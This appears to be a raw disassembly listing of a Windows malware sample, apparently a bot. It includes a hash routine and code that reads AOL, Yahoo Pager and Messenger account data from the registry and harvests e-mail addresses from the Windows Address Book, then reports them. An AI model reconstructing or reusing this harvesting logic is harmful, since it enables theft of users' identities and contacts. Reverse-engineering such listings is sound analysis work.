		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_435A60
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_434DA0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435950	proc near		; CODE XREF: sub_434D10+14p
					; sub_434D10+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_435997
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43596A:				; CODE XREF: sub_435950+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43596A
		pop	esi


loc_435997:				; CODE XREF: sub_435950+7j
		pop	edi
		retn
sub_435950	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4359C0	proc near		; CODE XREF: sub_434DA0+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_435A0A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_4359DD:				; CODE XREF: sub_4359C0+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_4359DD
		pop	edi
		pop	esi


loc_435A0A:				; CODE XREF: sub_4359C0+7j
		pop	ebp
		retn
sub_4359C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A30	proc near		; CODE XREF: sub_434C30+4Ep
					; sub_434C30+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_435A4C
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_435A43:				; CODE XREF: sub_435A30+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_435A43


loc_435A4C:				; CODE XREF: sub_435A30+7j
		pop	esi
		retn
sub_435A30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A60	proc near		; CODE XREF: sub_434D10+60p
					; sub_434DA0+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_435A8E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_435A8E:				; CODE XREF: sub_435A60+6j
		retn
sub_435A60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_435AA0	proc near		; CODE XREF: sub_401C21j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_435AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_435AA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435B90:				; CODE XREF: ___:loc_401F3Cj
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43D116
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436148
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	1
		push	eax
		call	sub_4016B8
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 51172C1Dh, 4C48300h,	0B9F88Bh, 33000002h, 0D43D89C0h
		dd 0F3005103h, 778CBEABh, 4E8B0044h, 4C8D51FCh,	2DE85024h
		dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h
		dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h
		dd 0FF50FFFCh, 4C483D7h, 1FEAE850h, 83907781h, 0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004445h, 514BE890h, 0B9001Ch, 33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0D8BF0000h, 0F3005103h
		dd 3D4A1ABh, 4C8D0051h,	948D1824h, 6E424h, 0C75100h, 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D2868h
		dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D807568h, 0BB39E800h, 0C483FFFCh, 90006A1Ch
		dd 4EA2D7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h
		dd 448F30h, 40B9h, 24848800h, 0E0h, 0BC8DC033h,	0E124h
		dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h
		dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h
		dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h
		dd 424848Dh, 51000001h,	44C75250h, 4424h, 0E8900000h, 249A25Ch
		dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh
		dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h
		dd 0EF4h, 68575052h, 80000003h,	402444C7h, 800h, 0A216E890h
		dd 0C085024Ah, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h
		dd 55004446h, 20244489h, 4FDBE890h, 0B9001Ch, 33000002h
		dd 24BC8DC0h, 6F4h, 0F310C483h,	100B9ABh, 0D8BF0000h, 0F3005103h
		dd 24448DABh, 19685010h, 6A000200h, 3685500h, 0E8800000h
		dd 251A1BCh, 8468B90h, 18244C8Dh, 0E424948Dh, 51000006h
		dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h,	24548B0Bh
		dd 91E85210h, 90024EA1h, 8D08568Bh, 8D182444h, 6E4248Ch
		dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
		dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
		dd 444D28h, 0E8694F8Dh,	0FFFCB62Dh, 938F8Ah, 8A500000h
		dd 9487h, 68515000h, 4D8075h, 0FCB98EE8h, 1CC483FFh, 1024548Bh
		dd 29E89052h, 8B024EA1h, 8B24247Ch, 47142444h, 7C89F83Bh
		dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h
		dd 10C683FFh, 79DCFE81h, 8C0F0044h, 0FFFFFD2Ah,	17642D8Bh
		dd 448D0051h, 68501C24h, 20019h, 6868006Ah, 6800447Bh
		dd 80000002h, 302444C7h, 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 448A24h, 85D3FF50h, 0BE850FC0h
		dd 68000000h, 104h, 649DE890h, 8C8D777Fh, 2E824h, 7B5C6800h
		dd 0F08B0044h, 8A146851h, 90560044h, 1C4E64E8h,	4E646800h
		dd 90560044h, 80907FE8h, 83F88B77h, 0FF851CC4h,	8D577574h
		dd 802494h, 646A0000h, 6E89052h, 837780ACh, 0C0850CC4h
		dd 448D5374h, 0FC687C24h, 50004489h, 1C9EE890h,	0C4837781h
		dd 75C08508h, 24948B3Ch, 16F4h,	7C244C8Dh, 89E06851h, 4A8D0044h
		dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h,	94h, 93908Ah
		dd 52510000h, 4D807568h, 0B855E800h, 0C483FFFCh, 0E8905718h
		dd 7780AAA5h, 8504C483h, 560A74F6h, 6201E890h, 0C483777Fh
		dd 24448B04h, 0E890501Ch, 24E9FD8h, 1C244C8Dh, 182444C7h
		dd 80h,	196851h, 6A0002h, 4489B868h, 26800h, 0D5FF8000h
		dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h,	6A006A50h
		dd 8A246800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h
		dd 0E8900000h, 777F638Fh, 0E824948Dh, 68000002h, 4489B0h
		dd 6852F08Bh, 4489A0h, 56E89056h, 68001C4Dh, 444E64h, 8F72E856h
		dd 8B907780h, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 9050646Ah
		dd 80AAF8E8h, 0CC48377h, 4C74C085h, 7C244C8Dh, 44898468h
		dd 91E85100h, 9077811Bh, 8508C483h, 8B3575C0h, 16F4249Ch
		dd 548D0000h, 68527C24h, 448968h, 0E8694B8Dh, 0FFFCB3EDh
		dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8075h, 0FCB74EE8h
		dd 18C483FFh, 0A99FE857h, 83907780h, 0F68504C4h, 90560A74h
		dd 7F60FAE8h, 4C48377h,	1C24548Bh, 0D1E89052h, 8D024E9Eh
		dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh, 0E9FFFCB0h
		dd 184h
; ---------------------------------------------------------------------------


loc_436148:				; CODE XREF: ___:00435BD1j
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4362CC
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		nop
		call	near ptr 2950000h
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_448900
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		call	near ptr 2900000h
		nop
		test	eax, eax
		jz	short loc_4361D2
		mov	edx, [esp+10h]
		push	edx
		nop
		call	near ptr 2920000h
		jmp	loc_4362CC
; ---------------------------------------------------------------------------


loc_4361D2:				; CODE XREF: ___:004361C0j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_511740
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_4488F4
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		nop
		call	near ptr 2950000h
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 2900000h
		test	eax, eax
		jz	short loc_436289
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_4362CC
; ---------------------------------------------------------------------------


loc_436289:				; CODE XREF: ___:0043627Ej
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_4362CC:				; CODE XREF: ___:0043615Aj
					; ___:0043617Ej ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4364D0	proc near		; CODE XREF: sub_4016FEj

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4364D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4364D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436570:				; CODE XREF: ___:loc_401FF5j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017EE
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43680E
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		nop
		call	near ptr 2950000h
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_43680E
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_448F30
		push	eax
		nop
		call	near ptr 2900000h
		mov	eax, [esp+14h]
		push	eax
		call	near ptr 2920000h
		nop
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		nop
		call	near ptr 2880000h
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		nop
		call	near ptr 2740000h
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_436649
		push	edi
		nop
		call	near ptr 2860000h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436649:				; CODE XREF: ___:00436631j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		call	near ptr 2740730h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_436679
		mov	esi, dword_5118E0
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436679:				; CODE XREF: ___:0043665Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_436718
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_4366BB:				; CODE XREF: ___:0043670Ej
		xor	eax, eax
		mov	ecx, edi


loc_4366BF:				; CODE XREF: ___:004366CFj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_4366BF
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_4366BB
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_436718:				; CODE XREF: ___:004366A7j
		push	edi
		mov	edi, dword_5118E0
		call	edi
		push	esi
		nop
		call	near ptr 27408C6h
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		call	near ptr 2950000h
		nop
		test	eax, eax
		jnz	loc_43680E
		mov	ebx, off_511C00
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_436767:				; CODE XREF: ___:004367FEj
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_448A40
		push	ecx
		call	ebx ; sub_5FADE9
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		nop
		call	near ptr 2900000h
		test	eax, eax
		jnz	short loc_436803
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_448A34
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		push	64h
		nop
		call	near ptr 28502B8h
		jmp	loc_436767
; ---------------------------------------------------------------------------


loc_436803:				; CODE XREF: ___:004367C3j
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2920000h


loc_43680E:				; CODE XREF: ___:00436594j
					; ___:004365C4j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4368D0	proc near		; CODE XREF: sub_401E65j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4368D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_40168B
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4368D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_40168B
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4369E0	proc near		; CODE XREF: sub_401E6Aj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4369E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436EB7
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_444600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017EE
		mov	edi, dword_511764
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
		call	sub_4017EE
		mov	ebp, dword_51172C
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436B0C
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B83+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436B0C:				; CODE XREF: sub_4369E0+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2920000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
